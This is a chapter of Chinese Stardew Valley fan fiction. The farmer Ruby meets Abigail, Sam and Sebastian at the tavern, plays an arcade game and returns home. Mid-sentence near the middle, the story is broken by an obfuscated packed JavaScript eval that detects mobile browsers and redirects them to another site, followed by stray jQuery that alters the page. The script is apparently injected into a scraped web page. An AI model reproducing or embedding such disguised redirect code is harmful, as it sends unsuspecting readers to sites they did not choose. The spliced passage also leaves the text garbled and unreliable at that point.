露比小心地穿过壁炉旁跳舞的几个人,向右侧的区域走去。
“这就是新来的农夫!名字叫……额……”女孩向旁边的两位年轻男子介绍她,说到名字时卡了壳。
“露比。”露比补充道。
“很特别的名字。”女孩称赞道,“我叫阿比盖尔,这是山姆”,她指向旁边金发的男孩。随即,又介绍拿着台球杆的深色头发男孩:“这是塞巴斯蒂安。”
山姆笑着说:“镇上好久没有新居民来了,欢迎你啊,露比。”
露比点点头,“谢谢。”
……
……
山姆停顿一下,发现露比这段话的的确确只有两个字的内容,后面便什么都没有了。他挠挠头,看向塞巴斯蒂安:“塞巴斯,露比跟你一样沉默寡言呢。”
塞巴斯蒂安瞥他一眼,神态自若。他并没有接话,而是向露比点点头:“你好,露比。”
露比也点点头,注意到他的头发和眼睛都是纯黑色的。
“露比,你喝咖啡吗?”阿比盖尔问道,得到肯定答复后,招呼露比先在台球桌旁的沙发坐下,而后走向吧台。
露比坐在柔软的黑色皮质沙发上,盯着桌上一个个光滑的小球在撞击下四散,发出清脆的声响。山姆看着塞巴斯蒂安击球,不忘跟露比寒暄:“你从哪里来,露比?”
“隔壁的城市。”露比眼神仍然盯着滚动的小球。它们看起来很亮。
球桌边的两人都看向她,山姆显得尤为惊讶:“你从城市来到这个农场吗?为什么?”
他脱口而出,随后意识到这样问不太礼貌,又补充一句:“我……只是有些好奇,城市里非常繁华,你在农场生活得还习惯吗?”
露比刚要回答,阿比盖尔端着两杯咖啡过来了。她匆匆走来,带起一阵小风,而咖啡还是稳稳的。露比接过咖啡,白瓷杯子里,咖啡还冒着热气,下面垫着小碟子。
她把这杯热饮料捧在手里,看向山姆。
“没什么不习惯的,这里很好。”
低头喝了一口,咖啡香气和着水汽扑在她的面颊。好烫。
*
那女孩走进酒馆的那一刻,塞巴斯蒂安就注意到了。此时并不是度假的时节,镇上几乎没有生面孔,因此,仅仅是她的灰粉色头发,就已经足够引人注目。
她一进门就僵在原地一动不动,像个代码错误的机器人,直到谢恩进门才重启成功。令他有些惊讶的是,阿比盖尔朝那女孩招手示意,她就慢悠悠地走来了。
对方一点点走近,他才发觉,她的眼睛是浓郁的石榴红,没精打采地半睁着。粉色的头发有点乱,脸上皮肤似乎很薄,并且异常的苍白,隐约能看到青色的血管。
阿比盖尔去拿饮料,她就呆呆地坐在沙发上,盯着虚空中的一点,就这么直直地盯着。
不知为何,塞巴斯蒂安有点烦躁。他用力打出一杆,红球磕在袋边,反弹回来。
山姆问起她的来历,她像是敷衍,又像是认真地回答。
奇怪的家伙。
“所以露比,农场生活是什么样的?有什么好玩的冒险吗?”阿比盖尔兴致勃勃。
露比捏着咖啡杯的小把手,思索这几天哪件事算是“好玩”。第一次浑身那么酸痛,累得在草地昏睡过去算吗?醒来时的感觉还挺奇妙的。打败了臭乌鸦算吗?总之她是单方面地认为自己大获全胜。
她无意识地捻着把手,却听阿比盖尔惊呼一声:“露比,你的手受伤了!”
几人都向她的手看去,白皙的皮肤上,一道醒目的红痕,长长的,贯穿整个手背。旁边还有许多细碎的破口,大大小小地交错着。
露比低头:“哦,你说这个。”她摸了一下那道口子,“已经结痂了,没什么问题。”
阿比盖尔先是皱着眉,有些担心的样子,随即又笑了:“露比,你好酷啊!”
她看着露比的眼睛,认真说道:“不过也要注意哦,伤口有时候会感染的。我家的杂货店就在酒馆旁边,你可以去买双手套!还有各种种子,你肯定需要的。”她说完,小声嘀咕着,“不过老爸一定不肯打折,小气死了。”
露比也认真地点点头。
终于,她想到“好玩”的事了。“农场来了一只小猫,它跟我一起住。”
旁边山姆听见,球也不打了,放下球杆凑近:“是什么样的猫?它亲人吗?”
“灰白纹的,算是亲人吧。”露比抬起头回想,“可以摸的。”
山姆眼睛发亮,欲言又止。阿比盖尔干脆地问道:“露比,以后我们可以去农场看看吗?”她看了一眼塞巴斯蒂安,眼睛弯弯的,“还有塞巴斯,对吧?”
塞巴斯蒂安神色淡淡,不置可否。山姆期待地看着露比,露比仿佛看到一只金毛大狗,眼巴巴地望着她。
她一阵恶寒,把自己脑海中的想象用力擦掉,点点头:“当然。”
随后阿比盖尔拉着露比玩双人祝尼魔赛车。据阿比盖尔介绍,祝尼魔是星露谷这一带的传说,一种外形像小苹果一样的小精灵。
“……星露谷?”露比不自觉地重复了一遍,并感觉这一幕有点眼熟。
“你甚至不知道我们这片山谷的名字吗?”阿比盖尔眼睛都瞪大了。
好吧,这一幕的确非常熟悉。
露比听着阿比盖尔骄傲地介绍着:“我们鹈鹕镇这片山谷,冬暖夏凉,名字就叫做星露谷,很好听吧?南边是海,北边是山,气候非常舒适哦。”她说着,眼里流露出向往:“我在书里看到,星露谷的西北面还有一片沙漠……不过我没去过那么远呢。”
阿比盖尔说着有些低落,又很快高兴起来:“来吧,我们看看谁更厉害!”
露比握住游戏机上的手柄,看屏幕画面缓缓启动。原来是祝尼魔开着小车,在过山车一样的轨道上,不断行驶和跳跃的游戏。
轨道有缺口,露比就操纵着小苹果一样的祝尼魔跳起来。
这游戏不难,然而过山车却总也开不到头。她转头想问问阿比盖尔,却见对方早就松开手柄,站在她背后,看得聚精会神。
“露比,你也太厉害了吧!”紫头发的女孩双手交握在胸前,“我都结束好久了,你这边还一条命都没丢掉!”她兴高采烈地夸着露比,“你是我见过的游戏机玩得最棒的人了!”
阿比盖尔还想聊些什么,却瞥见酒馆里的时钟已经指向了六点。她有些恋恋不舍地说该回家了,又跟塞巴斯蒂安说了句什么,朝山姆挥挥手,离开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715770|173698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
阿比盖尔离开后,露比也就继续端着没喝完的咖啡,坐在沙发上小口啜吸。咖啡还带着一些余温,香气变得内敛柔和。它原本会有些苦涩,但与牛奶融合在一起后,滋味变得刚刚好,非常香浓。
露比捧着小巧的杯子,不禁回想起从前常喝的速溶咖啡,酸苦的滋味,与无数个疲惫但不得不强打精神的夜晚联系在一起。
眼看露比又神游天外,山姆和塞巴斯蒂安也没有再去搭话,两人有一搭没一搭地聊着。露比回过神时,刚好听到一些。
“……乔家的超市开起来以后,镇上原本的商户生存都困难很多。”塞巴斯蒂安的声音。
“可是乔家可乐很好喝哎!以前都买不到的。”山姆的声音。
“只有你觉得好喝。”塞巴斯蒂安随口说道,“前些天乔家公司在山那边采矿,夜里轰隆一声,把进山的路全堵死了。再这么乱挖下去,山都塌了。”
塞巴斯蒂安打进最后一球,收起球杆。山姆朝露比露出一个大大的笑脸,挥挥手,塞巴斯蒂安也向露比点点头,两人离开了。
露比把咖啡喝完,又在酒吧坐了一会儿。刚进门时只觉得喧嚣吵闹,待久了却渐渐习惯。
她听着酒吧欢快的音乐。周围的嘈杂声音混合在一起,像一波一波的海浪,将她托举起来。
叮铃一声,门上的金属小铃铛又响了起来。一个豪放的声音说道:“来杯伏特加!”
露比循声看去,她听出这是威利的大嗓门。
果然,威利在门口的小桌旁落座,依然带着那顶软塌的小帽。他的蓝眼睛灵活地扫了一圈,很快看见角落里的露比,笑眯眯地跟她招了招手。
露比也朝他点头,不知道为什么,威利进来以后,酒馆的壁炉都像是更亮了。他总是给人一种特别的感觉,像一团温暖但不灼人的火焰。
兴许是喝了咖啡有点兴奋,又或者是看到熟悉的人有些高兴,露比又坐了一会儿。她对周围环境也起了一点兴趣,抬眼打量。
先前跳舞的人已经散去了,进门时遇到的“谢恩”正靠在壁炉旁喝啤酒,旁边摆着好几个空杯子。吧台上一个人垂着头趴在桌上,也许是醉了。更远一点,一对年轻男女在交谈些什么。
露比环视一圈,还是对壁炉旁的木雕更感兴趣。这座木雕高大极了,几乎到天花板。棕色的木料,雕刻的是一只直立的熊,圆圆胖胖,像是将要扑出的姿势,看上去相当有气势。它雕刻得并不细致,有一种粗犷的韵味。
她对着木雕左看右看,实在是很喜欢。然而,别说她的资金有限,就算送给她一座,小屋里也绝对是放不下的。
还是偶尔路过来看看就好了。
时间不早,露比离开酒馆,在漫天星斗的映照下,回到了小屋。她第一次打开电视,调台调了一圈,只有四五个频道。
忽略了一个神神叨叨的算命节目,她在一个生活类节目停下,主持人正字正腔圆地说着:“……镇上西南边,河川与大海交汇的地方,偶尔有野葱冒出来!散步踏青,采一把野葱,刚好为您佐餐……”
露比沉吟,这倒是不采白不采。猫猫从边上探出头,她顺着热乎乎的猫脑袋一直摸到猫尾巴,心想,明天就去,晚了不就被采光了。